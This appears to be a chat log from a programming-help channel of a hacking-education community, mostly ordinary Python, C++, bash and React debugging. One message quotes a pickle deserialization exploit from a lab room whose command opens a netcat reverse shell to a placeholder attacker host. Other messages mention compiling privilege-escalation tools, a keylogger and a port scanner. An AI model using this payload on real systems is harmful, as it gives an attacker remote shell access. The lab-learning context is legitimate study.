part 2 of me trying to become self-sufficient in compiling exploit binaries
I wanna get watson to run on my machine as a start for example
im on win10 atm
I targeted framework 4.8
I get this
Is this because the code doesnt work for .NET 4.8? I cannot see any other way this issue could be caused
some kind of syntax difference in C# dicts, right
I'm assuming that's part of the Watson core library, not your code?
Yep
A broad question:
Whats the deal with .NET backwards compatibility?
Say I enumerate a machine has 2.0, 3.5, and 4.0 .NET installed.
Now by default it is good practice to target the highest version installed for obvious reasons, but if I ran a binary thats meant for 3.5, it should still work, no?
Can you post your startup.cs
just switched back to kali but I will go back to it eventually
I appreciate your interest to help
DM me, I can help Monday
DotNet incorporates break changes at every major upgrade so you need to match the version to the code. It's really more of an art than a science.
by "break changes" you mean changes that break the code?
or does that mean something else haha
hello, please whats the REGEX pattern to match this sequence? -0,2*-3+7,-11,33/-11*-5,-12/6,19,77,1-2+3-4+
Depends what you're trying to match
The whole thing?
And if so, in what surrounding text?
so i was able to come up with this expression : (\s?("[\w\s]*"|\d*)\s?(,|$)){16}
but it is still not exactly correct because the regex expression should be able to match only a sequence that is separated by a comma. For example,
22+11, (there is a comma after the first sequence element, but the second element is missing, so this should not match)
10,1+2+3,-20 (the sequence has three valid elements separated by commas, so this should be valid)
i am solving a regex HW to develop an expression to match a bunch of sequences, they more or less arithmetical expressions.
yeah
We can't really help with homework I'm afraid -- it will have been set for a reason, and the answers should be in the coursework :)
its my home work, from a project im working on not a school home work
You set yourself homework?
why not?
Most people wouldn't refer to that as "homework"
Can somebody teach me programming from beginning?
thanks @naive tartan and @tidal panther
Gave +1 Rep to @naive tartan
hello friends i'm new to this community, and i want to learn hacking, but i need a mentor who can help me learn
what steps should i do
in a bash script how would i write the contents of one file to another file
copy the contents i mean
i was thinking cat the file and | tee into another file but that didnt work
i mean even after hours of googling this is what i got so far and it still wont work ```#!/bin/bash
for file in /etc/bandit_pass/; do cat bandit24 >> /tmp/two/far.txt
done
dont see how this one could be wrong but it aint working
try adding a wildcard in for after the directory name.
seems also like you're not using the file name from for loop for anything.
Oh, you're just trying to copy a single file?
yeah the contents of a single file, to the tmp directory
i know the name of the file i just dont have access to read it, but i have access to it via a bash script. so i need to make a script that copies the contents of said file, to the tmp directory
ugh i got it, i was way over complicating it.......
cp /etc/bandit_pass/bandit24 /tmp/two/far.txt ?
@fading lark this is for the keylogger tool, its a simple keylogger written in python (VS ide)
And why would you need something like that..?
for eductional purposes ofc
Uh huh, I'm sure.
Considering the ineffectiveness of that, I'll believe you.
Trying to write a c/c++ program which runs system commands. I am stuck in trying to implement directory change feature. Below is the code I have written which fails to perform directory change. The code is not giving any errors for the chdir() function. But is still failing to change directory. Can anyone tell where I am going wrong please.
char cmd[1024];
cout << "cmd:";
fgets(cmd,sizeof(cmd),stdin);
cout << endl;
const char *path = strchr(cmd,' '); //converts cd /path to /path
cout << path;
if(chdir(path)!=0)
{
perror("chdir() to /error failed");
}
It's because 1. strchr is looking for a space as a token so it's trying to change directory to <SPACE>/path not /path and 2. fgets consumes a newline which means that you will try to change directory to <SPACE>/path<NEWLINE> which also doesn't exist
Thanks a lot for the help, I fixed it with the below code. It works now
Gave +1 Rep to @hollow tangle
char cmd[1024];
int i,j;
cout << "cmd:";
fgets(cmd,sizeof(cmd),stdin);
cmd[strcspn(cmd,"\n")] = 0;
for(i=0;i<=2;i++)
{
for(j=0;j<=strlen(cmd)-1;j++)
{
cmd[j] = cmd[j+1];
}
}
const char *path = cmd;
cout << path;
chdir(path);
Please enclose your code in triple backticks (3x `), it'll make it easier to read.
```optional-language
Code go here
```
So, I posted this in room help, but I figured my best chance at getting a good explanation would be to post it here too:
Ok, so I was doing the Intro to x86-64 room and I finished the room, but I have a question about the last task. I figured out the answer based on the hint the room gives, but i was wondering if anyone could explain how im actually supposed to figure out the answer? I tried going through the assembly step by step, but i just dont understand whats happening well enough.
Room Link: https://tryhackme.com/room/introtox8664
iirc theres a string in memory that you can test, and comparing the hex values before and after that string runs through a function will show the hex values being reversed in order
Episode 3 of me trying to compile my own exploit binaries
needless to say the compiler completely shit itself when tryin compile Watson for .NET 2.0
and I dont have the nerve to install x years old VS version and tryin debug this
if someone has a compiled binary, hit me up fam
compiled watson binary for net 2.0 specifically, I mean
Please don't spam everywhere
wutya tryna learn ๐
Any thoughts on Codecademy? I want to improve my bash scripting & learn Python. 40% off but still pricey; I did buy a Python Humble Bundle so wonder if it's redundant.
codecademy is good if you can afford to drop money on the subscription but the stuff it teaches is freely available on youtube tutorials or other publicly available blogs/documentation/books etc
Someone help me out here, redare2 dosent wanna recognize my shellcode? I could very well be doing something wrong, but i honestly dont know, if more info is needed to figure out whats happening, please ping me and ask for whatever info you need
Piping the exact same code directly to the target program gives the intended segmentation fault
but when i run it in radare, it just ditches my shellcode and replaces it and anything after it with a j
@grave salmon ^
no need to mention I'm going through them
ack.
I'm ass cheeks at bash scripting
Im tryin understand the shellshock syntax and what causes it but no vid/article I found actually explains the syntax
someone care to elaborate for me please the () { :; }; trick?
is it an empty function in local scope?
If the $40 a month isnt a big deal, I would definitely recommend it
ESPECIALLY if you are just starting to code
or learning a language thats using a paradigm you arent familiar with
its a high quality mix of hand-holding and open ended exercises
when I learned to code, I started with their webdev path, learned html/css/js and picked it up from there
if u can already code in a couple langauges, I'd say its not worth it at that point and you are better off just learning on your own
Thanks. Yeah I kind of don't mind investing in education so long as it's good value. I'm well across HTML but I've had a lot of false starts with Python so need a bit of a kick along to progress past basics and start doing something serious.
Gave +1 Rep to @plain path
the best way to learn to code isnt to learn coding just for the sake of learning to code
as soon as you have the utmost basics
pick a project or a problem
and try to solve it given the toolset you re trying to leanr
good advice. That's what's motivated me to learn in the past (needing to create a website, and later making websites for work; bash scripting for various tasks) and has been an obstacle to learning recently as I often find coding projects a bit boring. However now I have a purpose (CCNA) as Python is a popular tool for automation of many tasks/configuration and now a required skill.
Ask your question and if someone can help you they will
I dislike codecademy because it's puzzle based rather than project based. FreeCodeCamp is better for thst and free. Try exercism and hackerank for practice.
codewars is a good place to be for short problems to solve
thanks Sleepy, I'll check them out. I'm not a fan of puzzles (weirdly, because I do like troubleshooting; maybe because this sort of puzzle usually feels artificially 'tricky'?) - projects are much more my thing.
Gave +1 Rep to @fickle siren
Oh! Runcode ninja is also good especially for cybersec as it's challenges usually involve automating enumeration and various cybersec stuff
Projects also give you something to show off
good point. Build out my portfolio on GitHub.
Nvm about runcode ninja rn. The site is down for maintenance. I'll have to ask the owner about that.
Exercism looks like it fits the bill perfectly.
hello
wts wrong with this socket
#!/bin/python3
import sockets
HOST= "127.0.0.1"
PORT=7777
s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
@lilac holly you have a typo in the import, it's socket, not sockers
also this is an error
Traceback (most recent call last):
File "/home/bara/Desktop/socket.py", line 2, in <module>
import socket
File "/home/bara/Desktop/socket.py", line 5, in <module>
s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
AttributeError: partially initialized module 'socket' has no attribute 'AF_INET' (most likely due to a circular import)
same error
if you have any top level object, class or variable named 'Socket' or 'socket', that should also be renamed.
no any class or variable in my code now
if your file is not named socket.py, and the import says import socket then the error should be different
wts wrong with my code
import sys
import socket
from datetime import datetime
#define out target
if len(sys.argv)==2:
target=socket.gethostbyname((sys.argv[1])) #translate hostname to ipv4
else:
print("Invalid amount of arguments.")
print("Syntax :python 3 scanner.py")
#Add a pretty banner
print("-"*50)
print("scanning target"+target)
print ("time started "+str(datetime.now()))
print("-" * 50)
try :
for port in range(1,65535):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
result=s.connect_ex((target,port))#returns an error indicator
if result==0 :
print("Port {} is open".format(port))
s.close()
except KeyboardInterrupt:
print("\nExiting program.")
sys.exit()
except socket.gainerror:
print("Hostname could not be resolved")
sys.exit()
except socket.error:
print(("couldn`t connect to server"))
sys.exit()
Your code works find when I run it. What issue are you having? I did notice that is it picking up the second IP address assigned if a device like mine has many. Just to let you know.
Szy already told him 
why does this return an index out of range error: path.split('/')[1]
but this doesn't: path.split('/')[-1]
I'm just splitting a list that contains two values and then printing the second value in the list.
Have you validated your inputs?
Check what output the path.split() gives by giving a variable its value and doing print(type(var))
the fact that there's an align-self for a flex container, but not a justify-self is crazy
[1] takes the 2nd element whereas [-1] takes the last one in the list, so if your list has one element, getting the 2nd element fails but getting the last element in the list (of one element) gives you the only one there
It just weird because a split a string with the delimiter "/". The list then comprises of [ 'this string' , '2nd string'] If I set the value to 0 it prints "this string". If I set the value to 1 I get an error. If I set the value to -1 I get "2nd string". I just don't understand why it errors out.
would you mind sharing a code snippet showing what you're doing?
if possible, maybe include how you got the path variable and what you're doing with it
stuff = ['this string', '2nd string']
print(stuff[0])
# prints: this string
stuff = ['this string', '2nd string']
print(stuff[1])
# prints the element at index position 1: 2nd string
stuff = ['this string', '2nd string']
print(stuff[-1])
# prints the last element: 2nd string
if you're saying that you get an index out of range error if you try to get [1], then I bet your list isn't above one element afterall
try to print(pth.split('/')) just above the line
@leaden berry @remote crag
`import os
import sys
for (path, dirs, files) in os.walk(sys.argv[1]):
depth= len(path.split('/'))
print path.split('/')
print '-'(depth4+8) + path.split('/')[1]
for line in files:
print '-'(depth4+12) + line`
Here is what I was doing
I was printing it out and it was returning a list containing two values
i'm reading the documentation of the os.walk() function
maybe show us the output of the code? if it does return two values, it's weird that the code doesn't work
just in case, show the error you got also
I'm an idiot
The code is always going to have the first loop return one value since it is the first directory
I wasn't paying attention to the output of the program
Sorry!!!
^ how i feel in a nutshell when i make small mistakes and overlook them long enough
Thank you for helping me realize though!
Gave +1 Rep to @remote crag
It's a long day by the time i get to look at this stuff, so it gets a bit messy
Least I could do
So your code isn't returning anything until exit - it's printing values, return is something very different than what you said you think the code is doing. Please don't conflate return with print
This is a snippet of the code
const params = {
username: state.email,
password: getRandomString(30),
attributes: {
name: state.fullName
}
};
await Auth.signUp(params);
formState = 'signedUp';
}; ```
Error: Unhandled Rejection (AuthError): Username cannot be empty
For more info:
return (
<div>
<input
name="username"
onChange={onChange}
/>
<button onClick={() => signUp()}>Sign Up</button>
</div>
)
} ```
Anyone could you please help me to solve this error. It's ReactJS
I have a question about python program terminate design. What is a good way to terminate a program when error are found.
I have a class like below:```class Spider:
def init(self, program_tag, logger_name = ""):
if logger_name == "":
logger_name = program_tag
self.logger = Init_Logger.init_logger(logger_name = logger_name)
self.driver = self.__init_driver(program_tag)
def open_new_window(self):
try:
self.driver.execute_script("window.open('');")
self.logger.debug("Opened new window")
except Exception as e:
self.logger.error("Failed to open new window: {}".format(str(e)))```
If I have another script calling the function and the function fails, I cannot try catch the issue in the script to trigger the terminate process.
Does it quit the main flow?
And I though exit() is mainly used in interactive mode but not in actual scripts
You could manually raise an exception?
print("test")
try:
print(var)
except:
print("testing")
raise ValueError('Insert error message here')
I don't know if that's what you want
Isn't that what you wanted?
I want the error captured in the main program flow and then trigger a followup action
Ah don't exit then, no
Catch the correct exception and not just "Exception"
Then raise a new one when caught
But is it a good pratice to try catch in main program flow?
Good point, I think I will go with this way
E.g. Don't try/except getting an element from a list
But do try/except writing a file to a disk (which might be full!)
If you don't have control of the reasons something could fail by all means handle the situation where needed
If you are going academic style and writing an API, consider the contracts between the API and the user
Who has the responsibility of fixing the problem? The API or the user using it?
Thanks for the idea
It's considered bad form to have the function call exit(1) - the calling function (not the callee) should appropriately handle the exception and determine correct behavior.
I read the question as what should be done in the event that there is nothing else that could be done but that's the only situation where a program should exit hard with an error code
I read it as 'this is a module that gets called from elsewhere' - best practices across most languages are to throw and handle exceptions from the module, and pass the buck for the controlling program to determine exit or recovery behavior.
help
Yeah that's what we discussed after, also ๐
What's up?
Making bot
Sounds fun
using autocode
Can you help
No sorry I don't do personal mentoring, but if you post your problem in here perhaps I can help or somebody else might be able to
Anyone could you please help me by solving this issue
Autocode or something else
does anyone want to help me with a python problem?
Don't ask to ask, just ask ๐
how to make a function that deletes duplicate items from a list then return both lists
in python
this sounds like homework
Your best bet is to ask your instructor.
Then it isn't a school ๐
The whole point of a school is to teach. If there are no teachers, or the "teachers" are unwilling to teach, then it ain't a school
Bc it isnโt
๐
๐
I'll give you a tip:
do not use a list
and another one: google "python data structures"
GLHF ๐
Hi guys
I don't really understand this
When I try to print verb it prints <function say at 0x7f66124619d0>
I'm kinda stupid now, im sorry
I suppose verb is now the say function?
So how did the program turn verb to a say function with verb_dict[verb_word]?
Oh I get it
Asked my duck, he answered my question. Sorry for bothering you guys
@dusty ore I need the full code, please
i think they figured it out?
Oh, whoops
Thanks, but i've already found the answer to my question ^^
Gave +1 Rep to @true pumice
I'm trying to understand a code from sololearn in oop section
But I don't understand what the 8th line does
Do you have any idea?
Here's the full code:
class GameObject:
class_name = ""
desc = ""
objects = {}
def __init__(self, name):
self.name = name
GameObject.objects[self.class_name] = self
def get_desc(self):
return self.class_name + "\n" + self.desc
class Goblin(GameObject):
class_name = "goblin"
desc = "A foul creature"
goblin = Goblin("Gobbly")
def examine(noun):
if noun in GameObject.objects:
return GameObject.objects[noun].get_desc()
else:
return "There is no {} here.".format(noun)
def get_input():
command = input(": ").split()
verb_word = command[0]
if verb_word in verb_dict:
verb = verb_dict[verb_word]
else:
print("Unknown verb {}". format(verb_word))
return
if len(command) >= 2:
noun_word = command[1]
print (verb(noun_word))
else:
print(verb("nothing"))
def say(noun):
return 'You said "{}"'.format(noun)
verb_dict = {
"say": say,
"examine": examine,
}
while True:
get_input()
If the image is blurry
verb_dict is going to be defined somewhere
in line 43
So that dictionary is string:function
Yes
So it looks up the string to get a function.
Functions can be treated as variables. It's a functional programming technique
Python is not a great OOP language
I see..
So should I skip OOP section in python now?
And learn oop again when I have sometimes looking at low level programming language like C?
I'm stuck in OOP for days now
Anyway, thanks for your help James! Appreciate it ^^
No!
C is not oop
oh okay my bad sorry
May I ask what the 4th line is for?
C can be OOP, but it involves trickery with headers. Not a beginner technique and convoluted... but it can be done
That is not what objective-C is for
objective-C is for Apple to make super sketch design decisions for a proprietary C-like language
Right, but it's not as an addition to C
I've written OOP in C. Structs are pretty close to objects; throw in where additional headers get included, and you can create public, private, protected fields and function pointers as part of the struct
Back to your problem.... Do you know the basic Python data structures?
I don't know...
I just learned whatever it's listed in sololearn
Like these are what I've learned
Python is never taught right from my experience.
in sololearn?
In general
Oh
You should be try to be familiar with Arrays, Lists, Sequences, Dictionaries, Sets
Data structure choice is often the determining point of success or failure for a program
I know them, but I dont know whether I can use them
If you know them, then your question about line 4 is already answered.
don't be fooled by the variable name
and if you are unsure, you can always refer to the original docs, and look at the context of how it is used
Ye, but I don't know what to google for this...
That's why I asked
Can you give me a hint on what I should google?
Don't be afraid to ask for more help, but keep in mind that we may just point you in a direction (like this) without telling you the answer directly
I usually talk to myself when I'm doing code review. Something about walking through my thought process that way helps me understand.
Ah yes I did the same, and have been doing that for 2 hours now but still can't understand the code
But sometimes, it works
oh damn, reading the docs helps me a bit
never thought the docs would be this useful
That's what the docs are for
Anybody here good with C++20 I have a problem I don't think stack overflow can solve ?
What's the question?
Okay, so in an object I have a map
std::map<std::string, std::function<void()>> Commands;
This is to store ["functionName" ] = function.
My RegisterCommand function is
void RegisterCommand(std::string name, std::function<void()> func);
and I call it as follows:
cmdHandler.RegisterCommand(UPLOAD_CMD, std::bind(&Agent::upload, agent));
then later in the code (in a while loop) I call a functiion called ExecuteCommand (if the correct conditions are met)
if (HasCommand(name)) {
Commands[name]();
}
}```
now this works fine, `Agent::upload` is called, when it should(as are the other functions). However I can't seem to figure out how I am supposed to pass arguments to the `Commands[name]();`
I've tried passing the arguments to ExecuteCommand like:
```void Command::ExecuteCommand(std::string name, std::vector<std::string> args) {
if (HasCommand(name)) {
Commands[name](args);
}
}```
but it shits itself
I'm new to c++ ๐
im trying to install a tool called snoopy-ng https://github.com/sensepost/snoopy-ng however i get a bunch of errors running the install.sh script
(Package python-dev is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
python2 python2-dev python-dev-is-python3
W: --force-yes is deprecated, use one of the options starting with --allow instead.
E: Unable to locate package python-psutil
E: Unable to locate package python-serial
E: Unable to locate package python-requests
E: Unable to locate package python-bluez
E: Unable to locate package python-flask
E: Package 'python-gps' has no installation candidate
E: Unable to locate package python-dateutil
E: Package 'python-dev' has no installation candidate
E: Unable to locate package pyrit)
i am running kali 2021.2 if that helps
So you want each function to take std::vector<std::string> as arguments?
Yes, but I've actually just managed to get it working 
Thanks though โค๏ธ
Oh okay lol
Just some advice but for your ExecuteCommand method it would be better to pass a const reference to args I can't remember if passing a vec of objects will cause an allocation along with that if you mark it as const then LLVM will have a better time optimizing it
void Command::ExecuteCommand(std::string name, std::vector<std::string>const& args) {
if (HasCommand(name)) {
Commands[name](args);
}
}
Another thing is with maps if a key isn't found and dereferenced then it is technically undefined behavior you can do something like
void Command::ExecuteCommand(std::string name, std::vector<std::string>const& args) {
Commands.at(name)(args);
}
Which will throw an exception if the key isn't found
@cold cloak
#include <iostream>
#include <vector>
#include <map>
#include <functional>
void callback() {
std::cout << "Ran" << std::endl;
}
int main() {
std::map<std::string, std::function<void()>> foo;
foo["callback"] = callback;
try {
foo.at("notcallback")();
} catch (const std::out_of_range& err) {
std::cerr << "Function not found" << std::endl;
}
}
Well dereferencing a map using square brackets isn't ub but it will cause a key to be inserted if that key isn't found
Oh, that's interesting, I better change some things around ๐
I'm assuming the correct way to insert is Commands.insert();
I'm too used to PHP ๐
You can use .insert() if you want vs [] it's preference
Ahh okay, insert look better so Iโll use that
One last thing (sorry to be so critical lol) but since you're using C++20 you might as well use it
Under the hood C++ will use a lot of memory allocations sometimes not necessary especially with std::string to solve this C++17 introduced std::string_view this allows for better conversions of C++ strings, C-strings, string literals without allocations
#include <iostream>
#include <string_view>
void callback_stringview(std::string_view arg) {
std::cout << arg << std::endl;
}
void callback_string(std::string arg) {
std::cout << arg << std::endl;
}
int main() {
std::string foo = "Hello World";
callback_stringview(foo); // No allocation
callback_stringview(foo.c_str()); // No allocation
callback_stringview("string literal"); // No allocation
callback_string(foo); // No allocation
callback_string(foo.c_str()); // Will cause an unnecessary std::string allocation
callback_string("string literal"); // Will cause an unnecessary std::string allocation
}
it's typically better to use std::string_view as a parameter when dealing with strings if that string is const and doesn't require manipulation
If you do have to manipulate the string parameter in a function then just pass a std::string as an argument no need to take a string_view and then convert it to a string but for your example
void Command::ExecuteCommand(std::string name, std::vector<std::string>const& args) {
Commands.at(name)(args);
}
can become
void Command::ExecuteCommand(std::string_view name, std::vector<std::string>const& args) {
Commands.at(name)(args);
}
that way when you call the ExecuteCommand method it won't make a whole new copy of the string without needing to
Oh damn, I donโt mind the criticism, itโs better to learn the correct way early on. Thank you for this education ๐ I think I need to watch some more of my c++ course ๐ Iโm basically just throwing shit together at this point
...throwing shit together at this point
Honestly that's the state of modern C++ nowadays
Haha, thankfully I only program as a hobby
i guess you'll have to add the repositories for those missing packages in etc/apt/sources.list and then maybe try running the install script, not completely sure.
website im working on need some backend work I want users to be able to share music files in one page, and in another i want users to be able to share artwork
You know, I hate it when people say this and proceed to not show what they did to make it work.
Well, actually I thought I got it working, but I didnโt
As soon as I add arguments to the โagent::uploadโ function it fails to compile even though I also add to the map and other required parts
Oh
You're telling the compiler that the function has no params though
Assuming I'm reading the docs correctly
Unless the bind is currying in the argument
There seem to be placeholders in the bind if you need to pass arguments
Yeah I saw that but unfortunately I donโt think itโll work for how I want it to work
Anyone knows why content >> file
Would delete the content of โfileโ? When it should append.
Is it because I donโt have an end of line character at the end?
you sure it's not something else causing issues?
Hello
Does anyone have good resources for applying C / solving problems for beginners? I'm struggling to fidn stuff. I've been doing courses that teach it, but they just teach and don't get you to actually apply it very well
The "applying" part is what I'm struggling with. I know what it is that I need to do to solve a problem. Or if I'm given some code I can understand its logic to a degree. But it's just actually writing it to solve a problem or do a task I'm struggling with
Unfortunately you're not gonna find many resources on applying C due to the fact that C is very old and also with C it requires a lot of code to do something "functional" and there aren't any libraries which can assist you unlike languages such as python where you have requests and flask this allows beginners to get setup with projects that have some sort of usefulness as for C, it really comes down to just writing it until it starts to become familiar and working on small projects such as guessing games there's no such thing as a project too "simple" in order to get good enough for working on larger projects confidently you have to build up to it
@sly breach
Programming Tasks (with solutions in all languages) - Rosettacode
-
Offensive Programming with Challenges - Zeyad-Azime Github
dis is what i got
If you're still having trouble you can shoot me a DM
I will actually, thank you
Gave +1 Rep to @hollow tangle
hi, can I have some explanation on this RCE, pls? mentioned in top10OWASP room . task 26
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))
print(base64.b64encode(pickle.dumps(rce())))```
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
This blog might help you understand.
Some good C exercises in there
oh ty so much, i wanted to start programming one day, but i don't found any good way to learn
check pins
smh
๐
I donโt suppose i would be able to pay anyone to make a simple 2 person iPhone app for me would they? Lol. Not sure if this is appropriate to ask but
I probably should just lean myself but man idk anything
One doesn't just 'make an app for iPhone'
To distribute the app to non-rooted phones, a developer has to have an Apple-approved developer account, which has a stupid fee for maintenance every year. The process to get that dev account approved, last I heard, was 6-24 months. Additional requirements are a total buy-in to the iPhone ecosystem, including a mac for development, as the tools don't run anywhere else.
Thank you for the info though
Gave +1 Rep to @magic falcon
To android you just plug your phone into your pc and turn on usb debugging, it was so easy
Also 100$
Ew
well, technically there are cross-platform frameworks
Hey, does anyone has an idea why in my local maven swagger-repository an artifact gets removed whenever I try to "mvn install" a specific other one? (same happens when I install the other one, then the first one gets removed)
Yeah, but to get the app on the store, you need the approved account. Side loading apps is way more difficult. And the 3rd party frameworks usually have a license, when the toolchain isn't built around xcode
True
can someone help me with a c++ coding problem?
using namespace std;
double CalcPyramidVolume (double baseLength, double baseWidth, double pyramidHeight){
double baseArea = baseLength*baseWidth;
double CalcPyramidVolume= 1/3*baseArea*pyramidHeight;
return CalcPyramidVolume;
}
int main() {
double userLength;
double userWidth;
double userHeight;
cin >> userLength;
cin >> userWidth;
cin >> userHeight;
cout << "Volume: " << CalcPyramidVolume(userLength, userWidth, userHeight) << endl;
return 0;
}
"Define a function CalcPyramidVolume with double data type parameters baseLength, baseWidth, and pyramidHeight, that returns as a double the volume of a pyramid with a rectangular base. Relevant geometry equations:
Volume = base area x height x 1/3
Base area = base length x base width.
(Watch out for integer division)."
above is my code, not sure what i did wrong but i keep getting 0 as an output
Your function and the variable are the same name, weird
Also this looks like homework. Ask your teacher.
double CalcPyramidVolume= 1/3*baseArea*pyramidHeight;
return CalcPyramidVolume;```
You could do all of those in one line surely.
I'm confused on how that would fix my error
try renaming your CalcPyramidVolume variable or make it look more like math
(which would be f(x) = 1/3 * L * W * H )
ok, do you also know how to cout " perhaps?
like when i do cout << """ << endl; i get an error
not one clue - I don't speak C++. I'm guessing you can escape the character and it'll work
(if in doubt, write your literal question in the google search field)
ive tried lol, surprisingly no results
https://www.cplusplus.com/forum/beginner/2355/ literally the first hit for the question c++ how to print quotes
๐
thank you anyways
No problem. Learning what to ask Google is a super important skill in this field
You'll get there 
I'm gonna guess that it's not going to like your local variable having the same name as the function as well
I'm not sure, im just getting 0 as an output no matter what
Carefully reread the warnings your instructor gave you, and then review your code.
haven't done C++ in a while, I remember doubles being a bit of a pain. Are you sure your inputs are being taken in properly?
oh bloody hell Juun is right
I'll try that, thanks
your math isn't wrong from a human standpoint.
it's more that the compiler is making certain hidden assumptions
that you were told to watch out for
It doesn't directly, it makes the code more legible and easier to troubleshoot
It's just a preference of style. For really complicated formulas, breaking it down into function calls or individual steps can make it significantly easier to read. In terms of performance, it's a negligible difference. Compiler optimization will more than likely reduce multiple lines to to the same instructions as the one-liner.
If it's a straightforward formula with good variable names, it's weird to break it
I'd argue that splitting it makes it a bit more clear, but to each their preferences
any android studio expert need help in jdbc mysql connection.
Just ask directly.
okay i need help in which version jar file i import for connection with my mysql server as i m using android studio 4.1.2 version
